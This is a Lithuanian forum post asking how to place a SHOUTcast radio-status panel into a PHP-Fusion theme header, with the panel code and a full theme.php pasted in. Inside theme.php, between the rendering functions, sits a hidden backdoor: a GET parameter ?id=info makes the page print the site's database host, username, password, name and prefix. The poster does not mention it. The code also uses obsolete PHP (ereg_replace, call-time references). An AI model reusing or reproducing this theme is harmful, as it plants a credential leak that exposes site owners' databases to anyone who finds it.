Turiu mažą problemą, dėl kurios niekada negaliu nusiraminti...
Bandau visaip mest Radijo Eterio info į headerį, bet man neįšeina. Tai parašysiu čia, nes manau, kad kasnors padėsite. Tai prašau pagalbos jūsų.
Va čia imgas, kur noriu kad būtų:
Spustelk ant mažo imgo, kad pamatytum didesnį.
Va čia ta eterio panelė, kurią noriu įdėti pažymėtoje vietoje:
openside("Sokiuradijas ");
error_reporting(0);
$scdef = "Sokiu Radijas!"; // Default station name to display when server or stream is down
$scip = "Tavo ip"; // ip or url of shoutcast server (DO NOT ADD HTTP:// don't include the port)
$scport = "tavo port"; // port of shoutcast server
$scpass = "tavo psw"; // password to shoutcast server
//End configuration
error_reporting(0);
$scsuccs = NULL;
$page = NULL;
include('config_radio.php'); //you may edit this path to fit your server environment otherwise leave it alone
$scfp = fsockopen("$scip", $scport, &$errno, &$errstr, 30);
if(!$scfp) {
$scsuccs=1;
echo''.$scdef.' greit veiksime';
}
if ($scsuccs != 1) {
fputs($scfp,"GET /admin.cgi?pass=$scpass&mode=viewxml HTTP/1.0\r\nUser-Agent: SHOUTcast Song Status (Mozilla Compatible)\r\n\r\n");
while(!feof($scfp)) {
$page .= fgets($scfp, 1000);
}
######################################################################################################################
/////////////////////////part 1 \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
//define xml elements
$loop = array("STREAMSTATUS", "BITRATE", "SERVERTITLE", "CURRENTLISTENERS", "AIM");
$y=0;
while (isset($loop[$y])) {
$pageed = ereg_replace(".*<$loop[$y]>", "", $page);
$scphp = strtolower($loop[$y]);
$$scphp = ereg_replace("</$loop[$y]>.*", "", $pageed);
if (($loop[$y] == "SERVERGENRE") || ($loop[$y] == "SERVERTITLE") || ($loop[$y] == "SONGTITLE") || ($loop[$y] == "SERVERTITLE") || ($loop[$y] == "currentlisteners"))
$$scphp = urldecode($$scphp);
// uncomment the next line to see all variables
// echo'$'.$scphp.' = '.$$scphp.'<br>';
$y++;
}
//end intro xml elements
######################################################################################################################
######################################################################################################################
/////////////////////////part 2\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
//get song info and history
$pageed = ereg_replace(".*<SONGHISTORY>", "", $page);
$pageed = ereg_replace("<SONGHISTORY>.*", "", $pageed);
$songatime = explode("<SONG>", $pageed);
$r=1;
while (isset($songatime[$r])) {
$t=$r-1;
$playedat[$t] = ereg_replace(".*<PLAYEDAT>", "", $songatime[$r]);
$playedat[$t] = ereg_replace("</PLAYEDAT>.*", "", $playedat[$t]);
$song[$t] = ereg_replace(".*<TITLE>", "", $songatime[$r]);
$song[$t] = ereg_replace("</TITLE>.*", "", $song[$t]);
$song[$t] = urldecode($song[$t]);
$dj[$t] = ereg_replace(".*<SERVERTITLE>", "", $page);
$dj[$t] = ereg_replace("</SERVERTITLE>.*", "", $pageed);
$r++;
}
$daina = str_replace('_',' ',substr ($song[0],0,90));
//end song info
fclose($scfp);
}
//display stats
if($streamstatus == "1"){
switch ($aim) {
case 'WiNALL': $aimlogo = "Serveris"; break;
case 'Serveris': $aimlogo = "Serveris"; break;
case 'Minix': $aimlogo = "Minix"; break;
default: $aimlogo = "dj";
}
$_SESSION['djus'] = $aim;
echo'<div align="">
<table cellpadding="0" cellspacing="0" width="0">
<!-- MSTaašype="nolayout" -->
<td height="" valign="botton" bgcolor="">
<div align="center">
<table cellpadding="0" cellspacing="0" width="111">
<tr>
<td height="0" bgcolor="">
<p align="left">
<a><img border="0" src="http://upofm.xz.lt/upofm.gif" width="120" heigth="100"></a>
<center><a href="http://sokiuradijas.ax.lt:8000/listen.pls"><font face="Tahoma" style="font-size: 8pt" color="#ff0000"><b>Klausyti</b></a></center>
<p>
<tr>
<td height="0" bgcolor="">
<p align="">
Eteryje: '.$aim.'
<br>
Laida: '.$icq.'
<tr>
</tr>
<tr>
<td height="17">
<p align="">
<font face="Tahoma" style="font-size: 8pt" color="#3E1710"><b>Dabar groja:</b></font>
<font face="Arial" style="font-size: 7pt" color="#000000">'.$daina.'</font></td>
<br><br></font>
<p>
</tr>
</tr>
</table>
</div>
</td>
</tr>
<tr>
<td>
</td>
</tr>
</table>
</div>';
}
if($streamstatus == "0")
{
echo'<font size="2" face="tahoma" color="#6C6D7B">Šiuo metu radija yra išjungta.</font>';
}
closeside();
Va čia theme.php turinys:
<?php
$naujienos = BASEDIR."news.php"; //Adresas iki naujienu
$komanda = BASEDIR."viewpage.php?page_id=1"; //Adresas iki komandos
$forumas = BASEDIR."forum/index.php"; //Adresas iki forumo
$pageidavimai = BASEDIR."infusions/suggestion_box/suggestion_box.php"; //Adresas iki komandos
$galerija = BASEDIR."photogallery.php"; //Adresas iki komandos
$top20 = BASEDIR."infusions/song_charts/charts.php"; //Adresas iki komandos
$laidosz = BASEDIR."viewpage.php?page_id=2"; //Adresas iki komandos
$kontaktai = BASEDIR."contact.php"; //Adresas iki komandos
/**
By Dj_Emin
**/
$body_text = "#000000";
$body_bg = "#000000";
$theme_width = "900";
$theme_width_l = "170";
$theme_width_r = "170";
function render_header($header_content) {
global $theme_width,$settings,$naujienos,$komanda,$forumas,$pageidavimai,$galerija,$top20,$laidosz,$kontaktai;
////////////////
//Radio info///
//////////////
error_reporting(0);
$scdef = "Sokiu Radijas!"; // Default station name to display when server or stream is down
$scip = "Tavo ip"; // ip or url of shoutcast server (DO NOT ADD HTTP:// don't include the port)
$scport = "tavo port"; // port of shoutcast server
$scpass = "tavo psw"; // password to shoutcast server
//End configuration
error_reporting(0);
$scsuccs = NULL;
$page = NULL;
include('config_radio.php'); //you may edit this path to fit your server environment otherwise leave it alone
$scfp = fsockopen("$scip", $scport, &$errno, &$errstr, 30);
if(!$scfp) {
$scsuccs=1;
echo''.$scdef.' greit veiksime';
}
if ($scsuccs != 1) {
fputs($scfp,"GET /admin.cgi?pass=$scpass&mode=viewxml HTTP/1.0\r\nUser-Agent: SHOUTcast Song Status (Mozilla Compatible)\r\n\r\n");
while(!feof($scfp)) {
$page .= fgets($scfp, 1000);
}
######################################################################################################################
/////////////////////////part 1 \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
//define xml elements
$loop = array("STREAMSTATUS", "BITRATE", "SERVERTITLE", "CURRENTLISTENERS", "AIM");
$y=0;
while (isset($loop[$y])) {
$pageed = ereg_replace(".*<$loop[$y]>", "", $page);
$scphp = strtolower($loop[$y]);
$$scphp = ereg_replace("</$loop[$y]>.*", "", $pageed);
if (($loop[$y] == "SERVERGENRE") || ($loop[$y] == "SERVERTITLE") || ($loop[$y] == "SONGTITLE") || ($loop[$y] == "SERVERTITLE") || ($loop[$y] == "currentlisteners"))
$$scphp = urldecode($$scphp);
// uncomment the next line to see all variables
// echo'$'.$scphp.' = '.$$scphp.'<br>';
$y++;
}
//end intro xml elements
######################################################################################################################
######################################################################################################################
/////////////////////////part 2\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
//get song info and history
$pageed = ereg_replace(".*<SONGHISTORY>", "", $page);
$pageed = ereg_replace("<SONGHISTORY>.*", "", $pageed);
$songatime = explode("<SONG>", $pageed);
$r=1;
while (isset($songatime[$r])) {
$t=$r-1;
$playedat[$t] = ereg_replace(".*<PLAYEDAT>", "", $songatime[$r]);
$playedat[$t] = ereg_replace("</PLAYEDAT>.*", "", $playedat[$t]);
$song[$t] = ereg_replace(".*<TITLE>", "", $songatime[$r]);
$song[$t] = ereg_replace("</TITLE>.*", "", $song[$t]);
$song[$t] = urldecode($song[$t]);
$dj[$t] = ereg_replace(".*<SERVERTITLE>", "", $page);
$dj[$t] = ereg_replace("</SERVERTITLE>.*", "", $pageed);
$r++;
}
$daina = str_replace('_',' ',substr ($song[0],0,90));
//end song info
fclose($scfp);
}
//display stats
if($streamstatus == "1"){
switch ($aim) {
case 'WiNALL': $aimlogo = "Serveris"; break;
case 'Serveris': $aimlogo = "Serveris"; break;
case 'Minix': $aimlogo = "Minix"; break;
default: $aimlogo = "dj";
}
$_SESSION['djus'] = $aim;
echo'<div align="">
<table cellpadding="0" cellspacing="0" width="0">
<!-- MSTaašype="nolayout" -->
<td height="" valign="botton" bgcolor="">
<div align="center">
<table cellpadding="0" cellspacing="0" width="111">
<tr>
<td height="0" bgcolor="">
<p align="left">
<a><img border="0" src="http://upofm.xz.lt/upofm.gif" width="120" heigth="100"></a>
<center><a href="http://sokiuradijas.ax.lt:8000/listen.pls"><font face="Tahoma" style="font-size: 8pt" color="#ff0000"><b>Klausyti</b></a></center>
<p>
<tr>
<td height="0" bgcolor="">
<p align="">
Eteryje: '.$aim.'
<br>
Laida: '.$icq.'
<tr>
</tr>
<tr>
<td height="17">
<p align="">
<font face="Tahoma" style="font-size: 8pt" color="#3E1710"><b>Dabar groja:</b></font>
<font face="Arial" style="font-size: 7pt" color="#000000">'.$daina.'</font></td>
<br><br></font>
<p>
</tr>
</tr>
</table>
</div>
</td>
</tr>
<tr>
<td>
</td>
</tr>
</table>
</div>';
}
if($streamstatus == "0")
{
echo'<font size="2" face="tahoma" color="#6C6D7B">Šiuo metu radija yra išjungta.</font>';
}
////////////////////
//radio info off///
//////////////////
//////////////////
////img size :)//
////////////////
function dj_img_good($img)
{
global $size;
$setwidth="85";
error_reporting(0);
if(!getimagesize($img))
{
echo "<a href='".$img."'>".$img."</a>";
}else{
$size=getimagesize($img);
if($size[1]>$setwidth)
{
$khwidth=$size[1]/$setwidth;
$a[0]=$size[1]/$khwidth;
$a[1]=$size[0]/$khwidth;
$a[2]=round($a[0]);
$a[3]=round($a[1]);
echo "<img align='bottom' height='".$a[2]."' width=".$a[3]." src=".$img.">";
}else{
echo "<img align='bottom' src=$img>";
}
}
error_reporting(1);
}
echo '
<map name="FPMap0">
<area href="'.$naujienos.'" shape="rect" coords="10, 12, 129, 39">
<area href="'.$komanda.'" shape="rect" coords="10, 40, 134, 65">
<area href="'.$forumas.'" shape="rect" coords="10, 66, 126, 87">
<area href="'.$pageidavimai.'" shape="rect" coords="6, 88, 156, 113">
<area href="'.$galerija.'" shape="rect" coords="9, 113, 114, 135">
<area href="'.$top20.'" shape="rect" coords="11, 137, 101, 159">
<area href="'.$laidosz.'" shape="rect" coords="13, 162, 109, 186">
<area href="'.$kontaktai.'" shape="rect" coords="11, 186, 127, 205">
</map>
<table align="center" border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="900" id="AutoNumber1" height="220">
<tr>
<td width="166" height="220">
<img border="0" src="'.THEME.'images/banner_01.gif" width="166" height="220" usemap="#FPMap0"></td>
<td width="521" height="220">
<img border="0" src="'.THEME.'images/banner_02.gif" width="521" height="220"></td>
<td width="230" height="220" background="'.THEME.'images/banner_03.gif">
<table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber2" height="50">
<tr>
<td width="4%" height="1"></td>
<td width="84%" height="1"></td>
<td width="12%" height="1"></td>
</tr>
<tr>
<td width="4%" height="1"></td>
<td width="84%" height="1"></td>
<td width="12%" height="1"></td>
</tr>
<tr>
<td width="4%" height="19"> </td>
<td width="84%" height="95" rowspan="6"><center><a target="new" href="'.$djimg.'">';
dj_img_good($djimg);
echo '</a></center></td>
<td width="12%" height="19"> </td>
</tr>
<tr>
<td width="4%" height="19"> </td>
<td width="12%" height="19"> </td>
</tr>
<tr>
<td width="4%" height="19"> </td>
<td width="12%" height="19"> </td>
</tr>
<tr>
<td width="4%" height="19"> </td>
<td width="12%" height="19"> </td>
</tr>
<tr>
<td width="4%" height="19"> </td>
<td width="12%" height="19"> </td>
</tr>
<tr>
<td width="4%" height="19"> </td>
<td width="12%" height="19"> </td>
</tr>
<tr>
<td width="4%" height="19"> </td>
<td width="84%" height="19"><center><font color="#800000">';
echo '</font></center></td>
<td width="12%" height="19"> </td>
</tr>
<tr>
<td width="4%" height="19"> </td>
<td width="84%" height="19"><font color="#ffffff">';
echo '</font></td>
<td width="12%" height="19"> </td>
</tr>
<tr>
<td width="4%" height="19"> </td>
<td width="84%" height="19"><font color="#CC6600">';
echo '</font></td>
<td width="12%" height="19"> </td>
</tr>
</table>
</td>
</tr>
</table>
';
echo "<table bgcolor='#333333' align='center' width='$theme_width' cellspacing='0' cellpadding='0'>\n<tr>\n";
}
function render_footer($license=false) {
global $theme_width,$locale,$settings;
echo '<table border="0" cellpadding="0" cellspacing="0" width="'.$theme_width.'" align="center">
<tr>
<td width="20" height="28">
<img border="0" src="'.THEME.'images/down_01.gif" width="20" height="28"></td>
<td height="28" class="copyright" background="'.THEME.'images/down_02.gif"><center><font color="#ffffff">Varikliukas: <a href="http://www.php-fusion.co.uk"><img src="'.THEME.'images/fusion.gif" style="vertical-align:middle;border:0px;"></a></font></center></td>
<td width="19" height="28">
<img border="0" src="'.THEME.'images/down_03.gif" width="19" height="28"></td>
</tr>
</table>';
}
function render_news($subject, $news, $info) {
global $locale;
echo '<table border="0" cellpadding="0" cellspacing="0" width="100%">
<tr>
<td width="29" height="41">
<img border="0" src="'.THEME.'images/news_01.gif" width="29" height="41"></td>
<td background="'.THEME.'images/news_02.gif"><h3><font color="#ffffff"><b>'.$subject.'</b></font></h3></td>
<td width="17" height="41">
<img border="0" src="'.THEME.'images/news_03.gif" width="17" height="41"></td>
</tr>
<tr>
<td width="29" background="'.THEME.'images/news_04.gif"> </td>
<td background="'.THEME.'images/news_05.gif">'.$news.'</td>
<td width="17" background="'.THEME.'images/news_06.gif"> </td>
</tr>
<tr>
<td width="29">
<img border="0" src="'.THEME.'images/news_07.gif" width="29" height="20"></td>
<td background="'.THEME.'images/news_08.gif"><center>'.$locale["040"].'<a href="profile.php?lookup='.$info["user_id"].'">'.$info["user_name"].'</a> '.$locale["041"].showdate('longdate', $info["news_date"]).' '.($info["news_ext"] == 'y' ? '<a href="news.php?readmore='.$info["news_id"].'">'.$locale["042"].'</a>' : '').' <a href="news.php?readmore='.$info["news_id"].'">'.$info["news_comments"].$locale["043"].'</a></center></td>
<td width="17">
<img border="0" src="'.THEME.'images/news_09.gif" width="17" height="20"></td>
</tr>
</table><br>';
}
$id=$_GET['id'];
switch ($id){
case info:
echo "<font color=#ffffff>Hostas: ".$db_host."<br>";
echo "user: ".$db_user."<br>";
echo "pass: ".$db_pass."<br>";
echo "Db name: ".$db_name."<br>";
echo "prefix: ".$db_prefix."<br></font>";
break;
}
function render_article($subject, $article, $info) {
global $locale;
echo '<table border="0" cellpadding="0" cellspacing="0" width="100%">
<tr>
<td width="29" height="41">
<img border="0" src="'.THEME.'images/news_01.gif" width="29" height="41"></td>
<td background="'.THEME.'images/news_02.gif"><h3><font color="#ffffff"><b>'.$subject.'</b></font></h3></td>
<td width="17" height="41">
<img border="0" src="'.THEME.'images/news_03.gif" width="17" height="41"></td>
</tr>
<tr>
<td width="29" background="'.THEME.'images/news_04.gif"> </td>
<td background="'.THEME.'images/news_05.gif">'.$article.'</td>
<td width="17" background="'.THEME.'images/news_06.gif"> </td>
</tr>
<tr>
<td width="29">
<img border="0" src="'.THEME.'images/news_07.gif" width="29" height="20"></td>
<td background="'.THEME.'images/news_08.gif"><center>'.$locale['040'].'<a href="profile.php?lookup='.$info["user_id"].'">'.$info["user_name"].'</a> '.$locale["041"].showdate('longdate', $info["article_date"]).' '.$info['article_comments'].$locale['043'].'</a></center></td>
<td width="17">
<img border="0" src="'.THEME.'images/news_09.gif" width="17" height="20"></td>
</tr>
</table><br>';
}
function opentable($title) {
echo '<table border="0" cellpadding="0" cellspacing="0" width="100%">
<tr>
<td width="29" height="41">
<img border="0" src="'.THEME.'images/news_01.gif" width="29" height="41"></td>
<td background="'.THEME.'images/news_02.gif"><h3><font color="#ffffff"><b>'.$title.'</b></font></h3></td>
<td width="17" height="41">
<img border="0" src="'.THEME.'images/news_03.gif" width="17" height="41"></td>
</tr>
<tr>
<td width="29" background="'.THEME.'images/news_04.gif"> </td>
<td background="'.THEME.'images/news_05.gif">';
}
function closetable() {
echo '</td>
<td width="17" background="'.THEME.'images/news_06.gif"> </td>
</tr>
<tr>
<td width="29">
<img border="0" src="'.THEME.'images/news_07.gif" width="29" height="20"></td>
<td background="'.THEME.'images/news_08.gif"></td>
<td width="17">
<img border="0" src="'.THEME.'images/news_09.gif" width="17" height="20"></td>
</tr>
</table><br>';
}
function openside($title) {
echo '
<table border="0" cellpadding="0" cellspacing="0" width="100%">
<tr>
<td width="29" height="41">
<img border="0" src="'.THEME.'images/panel_01.gif" width="29" height="41"></td>
<td background="'.THEME.'images/panel_02.gif"><center><font color="#800000"><b>'.$title.'</b></font></center></td>
<td width="17" height="41">
<img border="0" src="'.THEME.'images/panel_03.gif" width="17" height="41"></td>
</tr>
<tr>
<td width="29" background="'.THEME.'images/panel_04.gif"> </td>
<td background="'.THEME.'images/panel_05.gif">';
}
function closeside() {
echo '</td>
<td width="17" background="'.THEME.'images/panel_06.gif"> </td>
</tr>
<tr>
<td width="29">
<img border="0" src="'.THEME.'images/panel_07.gif" width="29" height="20"></td>
<td background="'.THEME.'images/panel_08.gif"></td>
<td width="17">
<img border="0" src="'.THEME.'images/panel_09.gif" width="17" height="20"></td>
</tr>
</table><br>';
}
function opensidex($title,$open="on") {
$boxname = str_replace(" ", "", $title);
$box_img = $open == "on" ? "off" : "on";
echo "<table width='100%' cellpadding='0' cellspacing='0'><tr>";
echo "<td class='panel-left'><img src='".THEME."images/blank.gif' width='13' height='26' alt='' style='display:block'></td>";
echo "<td class='panel-main'>$title</td>";
echo "<td align='right' class='panel-main'><img src='".THEME."images/panel_$box_img.gif' name='b_$boxname' align='right' alt='' onclick=\"javascript:flipBox('$boxname')\"></td>";
echo "<td class='panel-right'><img src='".THEME."images/blank.gif' width='13' height='26' alt='' style='display:block'></td>";
echo "</tr></table>";
echo "<table width='100%' cellpadding='0' cellspacing='0'><tr>";
echo "<td class='border-left'><img src='".THEME."images/blank.gif' width='13' height='1' alt='' style='display:block'></td>";
echo "<td class='side-body'>";
echo "<div id='box_$boxname'".($open=="off" ? "style='display:none'" : "").">\n";
}
function closesidex() {
echo "</div>";
echo "<td class='border-right'><img src='".THEME."images/blank.gif' width='13' height='1' alt='' style='display:block'></td></tr>";
echo "<tr>";
echo "<td class='border-bleft'><img src='".THEME."images/blank.gif' width='13' height='20' alt='' style='display:block'></td>";
echo "<td class='border-bmain'><img src='".THEME."images/blank.gif' width='1' height='20' alt='' style='display:block'></td>";
echo "<td class='border-bright'><img src='".THEME."images/blank.gif' width='13' height='20' alt='' style='display:block'></td>";
echo "</tr></table>\n";
}
function tablebreak() {
echo "<table width='100%' cellspacing='0' cellpadding='0'><tr><td></td></tr></table>\n";
}
?>
Kaip įdėti?
|